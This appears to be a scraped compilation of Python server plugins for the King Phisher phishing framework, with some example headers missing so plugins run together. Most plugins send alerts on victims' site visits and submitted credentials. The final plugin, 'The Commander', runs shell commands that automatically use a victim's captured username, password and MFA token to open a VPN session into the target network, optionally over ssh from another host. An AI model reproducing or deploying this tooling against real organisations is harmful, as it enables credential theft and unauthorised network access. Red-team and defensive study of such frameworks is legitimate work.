Example #1
0
class Plugin(plugins.ServerPlugin):
	authors = ['Spencer McIntyre', 'Mike Stringer']
	classifiers = ['Plugin :: Server :: Notifications :: Alerts']
	title = 'Campaign Alerts: via SMTP2Go'
	description = """
	Send campaign alerts via the SMTP2go lib. This requires that users specify
	their email through the King Phisher client to subscribe to notifications.
	"""
	homepage = 'https://github.com/securestate/king-phisher-plugins'
	options = [
		plugin_opts.OptionString(
			name='api_key',
			description='SMTP2GO API Key'
		),
		plugin_opts.OptionString(
			name='server_email',
			description='Server email address to send notifications from'
		)
	]
	req_min_version = '1.10.0'
	req_packages = {
		'smtp2go': has_smtp2go
	}
	def initialize(self):
		signals.campaign_alert.connect(self.on_campaign_alert)
		return True

	def on_campaign_alert(self, table, alert_subscription, count):
		user = alert_subscription.user
		if not user.email_address:
			self.logger.debug("user {0} has no email address specified, skipping SMTP alert".format(user.id))
			return False
		# Workaround for python-smtp2go API, which forces the use of environment variables
		# https://github.com/smtp2go-oss/smtp2go-python/pull/1 has been submitted to fix this and should eventually be replaced with...
		# api = smtp2go.Smtp2goClient(self.config['api_key']
		environ['SMTP2GO_API_KEY'] = self.config['api_key']
		api = smtp2go.Smtp2goClient()
		server_email = self.config['server_email']

		message = "{0:,} {1} reached for campaign: {2}".format(count, table.replace('_', ' '), alert_subscription.campaign.name)
		payload = {
			'sender' : server_email,
			'recipients' : [user.email_address],
			'subject' : 'Campaign Event: ' + alert_subscription.campaign.name,
			'text' : message,
			'html' : "<html><body><h1>Campain Event: {0}</h1><p>{1}</p></body></html>".format(alert_subscription.campaign.name, message),
			'custom_headers' : {}
		}
		response = api.send(**payload)

		if not response.success:
			if response.errors:
				self.logger([err for err in response.errors])
			return False
		self.logger.debug("sent an email alert to user {0}".format(user.id))
		return True
class Plugin(plugins.ServerPlugin):
    authors = ['Sebastian Reitenbach']
    classifiers = ['Plugin :: Server :: Notifications']
    title = 'Slack Notifications'
    description = """
	A plugin that uses Slack Webhooks to send notifications
	on new website visits and submitted credentials to a slack channel.
        Notifications about credentials are sent with @here.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugin_opts.OptionString(name='webhookurl',
                                 description='The slack webhook URL to use'),
        plugin_opts.OptionString(
            name='channel',
            description='the channel were notifications are supposed to go to')
    ]
    req_min_version = '1.4.0'
    req_packages = {'requests': has_requests}
    version = '0.1'

    def initialize(self):
        signals.server_initialized.connect(self.on_server_initialized)
        return True

    def on_server_initialized(self, server):
        signals.db_session_inserted.connect(self.on_kp_db_event,
                                            sender='visits')
        signals.db_session_inserted.connect(self.on_kp_db_event,
                                            sender='credentials')
        self.send_notification(
            'King-Phisher Slack notifications are now active')

    def on_kp_db_event(self, sender, targets, session):
        for event in targets:
            message = db_manager.get_row_by_id(session, db_models.Message,
                                               event.message_id)

            if sender == 'visits':
                message = "New visit from {0} for campaign '{1}'".format(
                    message.target_email, message.campaign.name)
            elif sender == 'credentials':
                message = "<!here> New credentials received from {0} for campaign '{1}'".format(
                    message.target_email, message.campaign.name)
            else:
                return
            self.send_notification(message)

    def send_notification(self, message):
        slack_data = {'text': message, 'channel': self.config['channel']}
        response = requests.post(self.config['webhookurl'],
                                 data=json.dumps(slack_data),
                                 headers={'Content-Type': 'application/json'})
Example #3
0
class Plugin(plugins.ServerPlugin):
	authors = ['Spencer McIntyre']
	classifiers = ['Plugin :: Server :: Notifications']
	title = 'XMPP Notifications'
	description = """
	A plugin which pushes notifications regarding the King Phisher server to a
	specified XMPP server.
	"""
	homepage = 'https://github.com/securestate/king-phisher-plugins'
	options = [
		plugin_opts.OptionString('jid', 'the username to login with'),
		plugin_opts.OptionString('password', 'the password to login with'),
		plugin_opts.OptionString('room', 'the room to send notifications to'),
		plugin_opts.OptionString('server', 'the server to connect to'),
		# verify_cert only functions when sleekxmpp supports it
		plugin_opts.OptionBoolean('verify_cert', 'verify the ssl certificate', default=True)
	]
	req_min_version = '1.4.0'
	req_packages = {
		'sleekxmpp': has_sleekxmpp
	}
	def initialize(self):
		logger = logging.getLogger('sleekxmpp')
		logger.setLevel(logging.INFO)
		self.bot = None
		signals.server_initialized.connect(self.on_server_initialized)
		return True

	def on_server_initialized(self, server):
		self.bot = NotificationBot(
			self.config['jid'],
			self.config['password'],
			self.config['room'],
			self.config['verify_cert']
		)
		self.bot.connect(utilities.parse_server(self.config['server'], 5222))
		self.bot.process(block=False)

	def finalize(self):
		if self.bot is None:
			return
		self.bot.disconnect()
class Plugin(plugins.ServerPlugin):
	authors = ['Spencer McIntyre']
	classifiers = ['Plugin :: Server :: Notifications :: Alerts']
	title = 'Campaign Alerts: via Clockwork SMS'
	description = """
	Send campaign alerts via the Clockwork SMS API. This requires that users
	specify their cell phone number through the King Phisher client.
	"""
	homepage = 'https://github.com/securestate/king-phisher-plugins'
	version = '1.1'
	options = [
		plugin_opts.OptionString(
			name='api_key',
			description='Clockwork SMS API Key'
		)
	]
	req_packages = {
		'clockwork': has_clockwork
	}
	req_min_version = '1.12.0b2'
	def initialize(self):
		signals.campaign_alert.connect(self.on_campaign_alert)
		signals.campaign_alert_expired.connect(self.on_campaign_alert_expired)
		return True

	def on_campaign_alert(self, table, alert_subscription, count):
		message = "Campaign '{0}' has reached {1:,} {2}".format(alert_subscription.campaign.name, count, table.replace('_', ' '))
		return self.send_alert(alert_subscription, message)

	def on_campaign_alert_expired(self, camapign, alert_subscription):
		message = "Campaign '{0}' has expired".format(alert_subscription.campaign.name)
		return self.send_alert(alert_subscription, message)

	def send_alert(self, alert_subscription, message):
		user = alert_subscription.user
		if not user.phone_number:
			self.logger.debug("user {0} has no cell phone number specified, skipping SMS alert".format(user.name))
			return False
		api = clockwork.API(self.config['api_key'])

		response = api.send(clockwork.SMS(user.phone_number, message)) 
		if not response.success:
			self.logger.error("received error {0} ({1})".format(response.error_code, response.error_message))
			return False
		self.logger.debug("sent an SMS alert to user {0}".format(user.name))
		return True
class Plugin(plugins.ServerPlugin):
	authors = ['Spencer McIntyre']
	title = 'IFTTT Campaign Success Notification'
	description = """
	A plugin that will publish an event to a specified IFTTT Maker channel when
	a campaign has been deemed 'successful'.
	"""
	homepage = 'https://github.com/securestate/king-phisher-plugins'
	options = [
		plugin_opts.OptionString(
			name='api_key',
			description='Maker channel API key'
		),
		plugin_opts.OptionString(
			name='event_name',
			description='Maker channel Event name'
		)
	]
	def initialize(self):
		signals.db_session_inserted.connect(self.on_kp_db_event, sender='visits')
		return True

	def on_kp_db_event(self, sender, targets, session):
		campaign_ids = collection.deque()
		for event in targets:
			cid = event.campaign_id
			if cid in campaign_ids:
				continue
			if not self.check_campaign(session, cid):
				continue
			campaign_ids.append(cid)
			self.send_notification()

	def check_campaign(self, session, cid):
		campaign = db_manager.get_row_by_id(session, db_models.Campaign, cid)
		if campaign.has_expired:
			# the campaign can not be exipred
			return False

		unique_targets = session.query(models.Message.target_email)
		unique_targets = unique_targets.filter_by(campaign_id=cid)
		unique_targets = float(unique_targets.distinct().count())
		if unique_targets < 5:
			# the campaign needs at least 5 unique targets
			return False

		success_percentage = 0.25
		unique_visits = session.query(models.Visit.message_id)
		unique_visits = unique_visits.filter_by(campaign_id=cid)
		unique_visits = float(unique_visits.distinct().count())
		if unique_visits / unique_targets < success_percentage:
			# the campaign is not yet classified as successful
			return False
		if (unique_visits - 1) / unique_targets >= success_percentage:
			# the campaign has already been classified as successful
			return False
		return True

	def send_notification(self):
		try:
			resp = requests.post("https://maker.ifttt.com/trigger/{0}/with/key/{1}".format(self.config['event_name'], self.config['api_key']))
		except Exception as error:
			self.logger.error('failed to post a notification of a successful campaign (exception)', exc_info=True)
			return
		if not resp.ok:
			self.logger.error('failed to post a notification of a successful campaign (request)')
			return
		self.logger.info('successfully posted notification of a successful campaign')
Example #6
0
class Plugin(plugins.ServerPlugin):
    authors = ['Brandan Geise']
    title = 'Pushbullet Notifications'
    description = """
	A plugin that uses Pushbullet's API to send push notifications
	on new website visits and submitted credentials.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugin_opts.OptionString(
            name='api_keys',
            description='Pushbullet API key, if multiple, separate with comma'
        ),
        plugin_opts.OptionString(
            name='identifier',
            description=
            'King Phisher server identifier to send in push notification header',
            default='King Phisher'),
        plugin_opts.OptionBoolean(
            name='mask',
            description='Partially mask email and campaign values',
            default=False)
    ]
    req_min_version = '1.4.0b0'
    req_packages = {'pushbullet.py': has_pushbullet}
    version = '1.2'

    def initialize(self):
        signals.server_initialized.connect(self.on_server_initialized)
        return True

    def on_server_initialized(self, server):
        signals.db_session_inserted.connect(self.on_kp_db_event,
                                            sender='visits')
        signals.db_session_inserted.connect(self.on_kp_db_event,
                                            sender='credentials')
        self.send_notification('Pushbullet notifications are now active')

    def on_kp_db_event(self, sender, targets, session):
        for event in targets:
            message = db_manager.get_row_by_id(session, db_models.Message,
                                               event.message_id)
            target_email, campaign_name = self.check_mask(message)

            if sender == 'visits':
                message = "New visit from {0} for campaign '{1}'".format(
                    target_email, campaign_name)
            elif sender == 'credentials':
                message = "New credentials received from {0} for campaign '{1}'".format(
                    target_email, campaign_name)
            else:
                return
            self.send_notification(message)

    def check_mask(self, message):
        if self.config['mask']:
            target_email = self.mask_string(message.target_email)
            campaign_name = self.mask_string(message.campaign.name)
        else:
            target_email = message.target_email
            campaign_name = message.campaign.name
        return target_email, campaign_name

    def mask_string(self, word):
        if utilities.is_valid_email_address(word):
            email_user, email_domain = word.split('@')
            safe_string = "{0}@{1}{2}{3}".format(
                email_user, email_domain[:1], ('*' * (len(email_domain) - 2)),
                email_domain[-1:])
        else:
            safe_string = "{0}{1}{2}".format(word[:1], ('*' * (len(word) - 2)),
                                             word[-1:])
        return safe_string

    def send_notification(self, message):
        api_keys = tuple(k.strip()
                         for k in self.config['api_keys'].split(', '))
        for key in api_keys:
            device = None
            if ':' in key:
                device, key = key.split(':')

            pb = pushbullet.Pushbullet(key)
            if device:
                try:
                    device = pb.get_device(device)
                except pushbullet.errors.InvalidKeyError:
                    self.logger.error(
                        "failed to get pushbullet device: {0}".format(device))

            try:
                pb.push_note(self.config['identifier'], message, device=device)
            except pushbullet.errors.PushError as error:
                self.logger.error('failed to send the pushbullet note')
Example #7
0
class Plugin(plugins.ServerPlugin):
    authors = [
        'Austin DeFrancesco', 'Spencer McIntyre', 'Mike Stringer',
        'Erik Daguerre'
    ]
    classifiers = ['Plugin :: Server :: Notifications :: Alerts']
    title = 'Campaign Alerts: via Python 3 SMTPLib'
    description = """
	Send campaign alerts via the SMTP Python 3 lib. This requires that users specify
	their email through the King Phisher client to subscribe to notifications.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    version = '1.1'

    # Email accounts with 2FA, such as Gmail, will not work unless "less secure apps" are allowed
    # Reference: https://support.google.com/accounts/answer/60610255
    # Gmail and other providers require SSL on port 465, TLS will start with the activation of SSL
    options = [
        plugin_opts.OptionString(name='smtp_server',
                                 description='Location of SMTP server',
                                 default='localhost'),
        plugin_opts.OptionInteger(name='smtp_port',
                                  description='Port used for SMTP server',
                                  default=25),
        plugin_opts.OptionString(
            name='smtp_email',
            description='SMTP email address to send notifications from',
            default=''),
        plugin_opts.OptionString(
            name='smtp_username',
            description='Username to authenticate to the SMTP server with'),
        plugin_opts.OptionString(
            name='smtp_password',
            description='Password to authenticate to the SMTP server with',
            default=''),
        plugin_opts.OptionBoolean(
            name='smtp_ssl',
            description='Connect to the SMTP server with SSL',
            default=False),
        plugin_opts.OptionString(
            name='email_jinja_template',
            description='Custom email jinja template to use for alerts',
            default=''),
    ]
    req_min_version = '1.12.0b2'

    def initialize(self):
        signals.campaign_alert.connect(self.on_campaign_alert)
        signals.campaign_alert_expired.connect(self.on_campaign_alert_expired)
        template_path = self.config['email_jinja_template']
        if not template_path:
            template_path = os.path.join(
                os.path.dirname(os.path.realpath(__file__)), 'template.html')
        if not os.path.isfile(template_path):
            self.logger.warning('invalid email template: ' + template_path)
            return False
        with open(template_path, 'r') as file_:
            template_data = file_.read()
        self.render_template = templates.TemplateEnvironmentBase().from_string(
            template_data)
        return True

    def on_campaign_alert(self, table, alert_subscription, count):
        return self.send_alert(alert_subscription)

    def on_campaign_alert_expired(self, camapign, alert_subscription):
        return self.send_alert(alert_subscription)

    def get_template_vars(self, alert_subscription):
        campaign = alert_subscription.campaign
        template_vars = {
            'campaign': {
                'id': str(campaign.id),
                'name': campaign.name,
                'created': campaign.created,
                'expiration': campaign.expiration,
                'has_expired': campaign.has_expired,
                'message_count': len(campaign.messages),
                'visit_count': len(campaign.visits),
                'credential_count': len(campaign.credentials)
            },
            'time': {
                'local': datetime.datetime.now(),
                'utc': datetime.datetime.utcnow()
            }
        }
        return template_vars

    def create_message(self, alert_subscription):
        message = MIMEMultipart()
        message['Subject'] = "Campaign Event: {0}".format(
            alert_subscription.campaign.name)
        message['From'] = "<{0}>".format(self.config['smtp_email'])
        message['To'] = "<{0}>".format(alert_subscription.user.email_address)

        textual_message = MIMEMultipart('alternative')
        plaintext_part = MIMEText(
            'This message requires an HTML aware email agent to be properly viewed.\r\n\r\n',
            'plain')
        textual_message.attach(plaintext_part)

        try:
            rendered_email = self.render_template.render(
                self.get_template_vars(alert_subscription))
        except:
            self.logger.warning('failed to render the email template',
                                exc_info=True)
            return False
        html_part = MIMEText(rendered_email, 'html')
        textual_message.attach(html_part)

        message.attach(textual_message)
        encoded_email = message.as_string()
        return encoded_email

    def send_alert(self, alert_subscription):
        user = alert_subscription.user
        if not user.email_address:
            self.logger.debug(
                "user {0} has no email address specified, skipping SMTP alert".
                format(user.name))
            return False

        msg = self.create_message(alert_subscription)
        if not msg:
            return False

        if self.config['smtp_ssl']:
            SmtpClass = smtplib.SMTP_SSL
        else:
            SmtpClass = smtplib.SMTP
        try:
            server = SmtpClass(self.config['smtp_server'],
                               self.config['smtp_port'],
                               timeout=15)
            server.ehlo()
        except smtplib.SMTPException:
            self.logger.warning(
                'received an SMTPException while connecting to the SMTP server',
                exc_info=True)
            return False
        except socket.error:
            self.logger.warning(
                'received a socket.error while connecting to the SMTP server')
            return False

        if not self.config['smtp_ssl'] and 'starttls' in server.esmtp_features:
            self.logger.debug(
                'target SMTP server supports the STARTTLS extension')
            try:
                server.starttls()
                server.ehlo()
            except smtplib.SMTPException:
                self.logger.warning(
                    'received an SMTPException wile negotiating STARTTLS with SMTP server',
                    exc_info=True)
                return False

        if self.config['smtp_username']:
            try:
                server.login(self.config['smtp_username'],
                             self.config['smtp_password'])
            except smtplib.SMTPNotSupportedError:
                self.logger.debug(
                    'SMTP server does not support authentication')
            except smtplib.SMTPException as error:
                self.logger.warning(
                    "received an {0} while authenticating to the SMTP server".
                    format(error.__class__.__name__))
                server.quit()
                return False

        mail_options = ['SMTPUTF8'] if server.has_extn('SMTPUTF8') else []
        try:
            server.sendmail(self.config['smtp_email'],
                            alert_subscription.user.email_address, msg,
                            mail_options)
        except smtplib.SMTPException as error:
            self.logger.warning("received error {0} while sending mail".format(
                error.__class__.__name__))
            return False
        finally:
            server.quit()
        self.logger.debug(
            "successfully sent an email campaign alert to user: {0}".format(
                user.name))
        return True
Example #8
0
class Plugin(plugins.ServerPlugin):
    authors = ['Skyler Knecht']
    classifiers = ['Plugin :: Server']
    title = 'Postfix Message Information'
    description = """
	A plugin that analyzes message information from the postfix logs to provide
	King Phisher clients message status and detail information.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    version = '1.0.1'
    req_min_version = '1.14.0b1'
    options = [
        plugin_opts.OptionString(
            name='log_file',
            description=
            'Location of the log file to parse through for information.',
            default='/var/log/mail.log')
    ]

    def initialize(self):
        log_file = self.config['log_file']
        setuid_username = self.root_config.get('server.setuid_username')
        if setuid_username and not fs_utilities.access(
                log_file, mode=os.R_OK, user=setuid_username):
            self.logger.error(
                'permissions error, invalid access to {}'.format(log_file))
            return False

        signals.server_initialized.connect(self.on_server_initialized)
        self.logger.info('{} has been initialized.'.format(self.title))
        return True

    def on_server_initialized(self, server):
        self._worker_thread = utilities.Thread(
            target=self.check_file_change, args=(self.config['log_file'], ))
        self._worker_thread.start()

    def finalize(self):
        self._worker_thread.stop()
        self._worker_thread.join()

    def check_file_change(self, file):
        old_modified_time = get_modified_time(file)
        old_file_contents = self.get_file_contents(file)
        while self._worker_thread.stop_flag.is_clear():
            new_modified_time = get_modified_time(file)
            if old_modified_time < new_modified_time:
                new_file_contents = self.get_file_contents(file)
                self.post_to_database(self.parse_logs(new_file_contents))
                old_modified_time = new_modified_time
            time.sleep(5)

    @staticmethod
    def get_file_contents(path):
        with open(path, 'r') as file_h:
            return file_h.readlines()

    def parse_logs(self, log_lines):
        results = {}
        for line_number, line in enumerate(log_lines, 1):
            log_id = re.search(
                r'postfix/[a-z]+\[\d+\]:\s+(?P<log_id>[0-9A-Z]{7,12}):\s+',
                line)
            if not log_id:
                # check blacklist strings to not spam log files
                #	if not any(string in line for string in LOG_LINE_BLACKLIST):
                #		self.logger.warning('failed to parse postfix log line: ' + str(line_number))
                continue
            log_id = log_id.group('log_id')
            message_id = re.search(r'message-id=<(?P<mid>[0-9A-Za-z]{12,20})@',
                                   line)
            status = re.search(r'status=(?P<status>[a-z]+)\s', line)
            details = re.search(r'status=[a-z]+\s\((?P<details>.+)\)', line)
            if log_id not in results and message_id:
                results[log_id] = LogInformation(
                    message_id=message_id.group('mid'))
            if log_id in results and status:
                results[log_id].statuses.append(status.group('status'))
            if log_id in results and details:
                results[log_id].message_details = details.group('details')
        return results

    @staticmethod
    def post_to_database(results):
        session = db_manager.Session
        for log_info in results.values():
            if not log_info.message_status:
                continue
            message = session.query(
                db_models.Message).filter_by(id=log_info.message_id).first()
            if message:
                message.delivery_status = log_info.message_status
                message.delivery_details = log_info.message_details
                session.add(message)
        session.commit()
Example #9
0
class Plugin(plugins.ServerPlugin):
    authors = ['Spencer McIntyre', 'Mike Stringer']
    classifiers = ['Plugin :: Server :: Notifications :: Alerts']
    title = 'Campaign Alerts: via SMTP2Go'
    description = """
	Send campaign alerts via the SMTP2go lib. This requires that users specify
	their email through the King Phisher client to subscribe to notifications.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    version = '1.1'
    options = [
        plugin_opts.OptionString(name='api_key',
                                 description='SMTP2GO API Key'),
        plugin_opts.OptionString(
            name='server_email',
            description='Server email address to send notifications from'),
        plugin_opts.OptionString(
            name='email_jinja_template',
            description='Custom email jinja template to use for alerts',
            default=''),
    ]
    req_min_version = '1.12.0b2'
    req_packages = {'smtp2go': has_smtp2go}

    def initialize(self):
        signals.campaign_alert.connect(self.on_campaign_alert)
        signals.campaign_alert_expired.connect(self.on_campaign_alert_expired)
        template_path = self.config['email_jinja_template']
        if not template_path:
            template_path = os.path.join(
                os.path.dirname(os.path.realpath(__file__)), 'template.html')
        if not os.path.isfile(template_path):
            self.logger.warning('invalid email template: ' + template_path)
            return False
        with open(template_path, 'r') as file_:
            template_data = file_.read()
        self.render_template = templates.TemplateEnvironmentBase().from_string(
            template_data)
        return True

    def on_campaign_alert(self, table, alert_subscription, count):
        return self.send_alert(alert_subscription)

    def on_campaign_alert_expired(self, camapign, alert_subscription):
        return self.send_alert(alert_subscription)

    def get_template_vars(self, alert_subscription):
        campaign = alert_subscription.campaign
        template_vars = {
            'campaign': {
                'id': str(campaign.id),
                'name': campaign.name,
                'created': campaign.created,
                'expiration': campaign.expiration,
                'has_expired': campaign.has_expired,
                'message_count': len(campaign.messages),
                'visit_count': len(campaign.visits),
                'credential_count': len(campaign.credentials)
            },
            'time': {
                'local': datetime.datetime.now(),
                'utc': datetime.datetime.utcnow()
            }
        }
        return template_vars

    def send_alert(self, alert_subscription):
        user = alert_subscription.user
        if not user.email_address:
            self.logger.debug(
                "user {0} has no email address specified, skipping SMTP alert".
                format(user.name))
            return False

        # Workaround for python-smtp2go API, which forces the use of environment variables
        # https://github.com/smtp2go-oss/smtp2go-python/pull/1 has been submitted to fix this and should eventually be replaced with...
        # api = smtp2go.Smtp2goClient(self.config['api_key']
        os.environ['SMTP2GO_API_KEY'] = self.config['api_key']
        api = smtp2go.Smtp2goClient()
        server_email = self.config['server_email']

        try:
            rendered_email = self.render_template.render(
                self.get_template_vars(alert_subscription))
        except:
            self.logger.warning('failed to render the email template',
                                exc_info=True)
            return False
        payload = {
            'sender': server_email,
            'recipients': [user.email_address],
            'subject': 'Campaign Event: ' + alert_subscription.campaign.name,
            'text':
            'This message requires an HTML aware email agent to be properly viewed.\r\n\r\n',
            'html': rendered_email,
            'custom_headers': {}
        }
        response = api.send(**payload)

        if not response.success:
            if response.errors:
                self.logger.error(repr([err for err in response.errors]))
            return False
        self.logger.debug(
            "successfully sent an email campaign alert to user: {0}".format(
                user.name))
        return True
Example #10
0
class Plugin(plugins.ServerPlugin):
    authors = ['Corey Gilks']
    title = 'The Commander'
    description = """
    Execute an action from the KP Server after new credentials are received. Originally this plugin was created to
    quickly authenticate to the targets VPN after new credentials are received. When the target is using
    MFA every second counts, so action must be taken quickly. Operators may be unable to respond fast enough therefore
    this plugin is needed.
    
    You can dynamically include the username, password and MFA values in your command by using the following python 
    format string syntax:

    {username} = Username
    {password} = Password
    {mfa} = MFA
    
    Requirements: 
    1. The command you choose must be executable by the "setuid_username" in your server_config.yml
    2. Commands should be non-blocking. Commands that block will make the KP server hang. Use screen, &, etc..
    
    Local KP server execution:
    To execute openconnect on the KP server, do the following:
    1. Create vpn.sh in /opt/scripts/vpn.sh with the following contents (ensure you can sudo without your password):
        echo $2'\n'$3 | sudo openconnect -u $1 --passwd-on-stdin <TARGET VPN URL>
    
    2. In your server_config.yml add the following configuration:
          plugins:
            post_command:
              command: screen -dmS {username} bash -c "sh /opt/scripts/vpn.sh {username} {password} {mfa}"
    
    Now any submitted credentials will automatically create a screen session. The name of the screen session will be the
    username that was submitted. If no screen session exists after credentials were entered then the VPN tunnel was not 
    successfully established.
    
    Remote server execute:
    If you are concerned about opsec, you likely do not want to execute a VPN tunnel from your phishing infrastructure.
    In this case follow step 1 from "Local KP server execution" and then add this into your server_config.yml:
    
    post_command:
      command: 'ssh -i /<YOUR USER>/.ssh/key.pem -oStrictHostKeyChecking=no root@<ANOTHER HOST> screen -dmS {username} "sh /opt/scripts/vpn.sh {username} {password} {mfa}"'
      
    This will SSH into <ANOTHER HOST> using key.pem without the need to accept a new SSH key fingerprint. Then a new
    screen session is opened under the victims username. If no screen session exists after credentials were entered then 
    the VPN tunnel was not successfully established.
    """
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugin_opts.OptionString(
            'command',
            'Execute an arbitrary command from the KP server after receiving new credentials',
            default=None),
        plugin_opts.OptionString('mfa_required',
                                 'Require MFA before executing a command',
                                 default=True),
        plugin_opts.OptionString(
            'strip_domain',
            'Strip domain out of the username (if it exists) so only the username remains',
            default=True),
        plugin_opts.OptionInteger('username_len',
                                  'Maximum username length',
                                  default=104),
        plugin_opts.OptionInteger('mfa_len',
                                  'Maximum mfa token length',
                                  default=10),
        plugin_opts.OptionInteger('password_len',
                                  'Maximum password length',
                                  default=127),
    ]
    req_min_version = '1.4.0'  # Whichever version implemented MFA
    version = '1.0'

    def initialize(self):
        self.logger.warning(
            'Command will execute upon receiving credentials:\n' +
            self.config['command'])
        signals.db_session_inserted.connect(self.new_challenger_approaches,
                                            sender='credentials')
        return True

    def illegal_char_check(self, name, value):
        illegal_chars = [
            '/', '\\', '[', ']', ':', ';', '|', '=', ',', '+', '*', '?', '<',
            '>', ' ', '&', '!', '~', '#', '%', '^', '(', ')', '{', '}'
            '`'
        ]
        for illegal in illegal_chars:
            if illegal in value:
                self.logger.warning(
                    'Aborting. Found illegal character in {0}: {1}'.format(
                        name, illegal))
                return True
        return False

    def new_challenger_approaches(self, sender, targets, session):
        for event in targets:
            # Order by most recent datetime
            query = session.query(db_models.Credential).order_by(
                desc(db_models.Credential.submitted))
            query = query.filter_by(message_id=event.message_id)
            raw = query.first()

            username = raw.username
            password = raw.password
            mfa = raw.mfa_token

            self.logger.warning('New credentials submitted. Verifying..')
            if not username:
                self.logger.warning(
                    'No username submitted but someone posted a web response. Aborting'
                )
                continue
            else:
                username = raw.username.strip()
                self.logger.warning('Username: {0}'.format(username))

            if not password:
                self.logger.warning(
                    'No password submitted for {0}. Aborting'.format(username))
                continue

            if not mfa:
                if self.config['mfa_required']:
                    self.logger.warning(
                        'MFA is required but no MFA submitted for {0}. Aborting'
                        .format(username))
                    continue
                mfa = ''
            else:
                mfa = raw.mfa_token.strip()

            if len(username) > self.config['username_len']:
                self.logger.warning(
                    'Username length is too long. Maximum is {0} but {1} was entered'
                    .format(self.config['username_len'], len(username)))
                continue

            if len(mfa) > self.config['mfa_len']:
                self.logger.warning(
                    'MFA length is too long. Maximum is {0} but {1} was entered'
                    .format(self.config['mfa_len'], len(mfa)))
                continue

            if len(password) > self.config['password_len']:
                self.logger.warning(
                    'Password length is too long. Maximum is {0} but {1} was entered'
                    .format(self.config['password_len'], len(password)))
                continue

            if '\\' in username:
                if len(username.split()) > 2:
                    self.logger.warning(
                        'Aborting due to too many backslashes in username: {0}'
                        .format(username))
                    continue
                if self.config['strip_domain']:
                    username = username.split('\\')[-1]

            if self.illegal_char_check('username', username):
                continue

            if self.illegal_char_check('MFA', mfa):
                continue

            username = re.escape(username)
            password = re.escape(password)
            mfa = re.escape(mfa)

            # Execute command logic here
            self.logger.warn('Command:\n{0}'.format(
                self.config['command'].format(username=username,
                                              password='******',
                                              mfa=mfa)))
            command = self.config['command'].format(username=username,
                                                    password=password,
                                                    mfa=mfa)
            command = shlex.split(command)

            while True:
                run = subprocess.run(command,
                                     stdout=subprocess.PIPE,
                                     stderr=subprocess.STDOUT,
                                     close_fds=True)
                if run.stdout:
                    self.logger.warning('Command returned output:\n{0}'.format(
                        run.stdout.decode('utf-8')))
                    # Sometimes SSH connections fail. Wouldn't want to waste creds, so let's try again!
                    if b'Connection closed by remote host' in run.stdout:
                        self.logger.warning(
                            'SSH Connection failed. Trying again..')
                        continue
                elif run.stderr:
                    self.logger.warning('Command returned error:\n{0}'.format(
                        run.stderr.decode('utf-8')))
                else:
                    self.logger.warning(
                        "Executed command. Nothing returned from stdout or stderr."
                    )
                break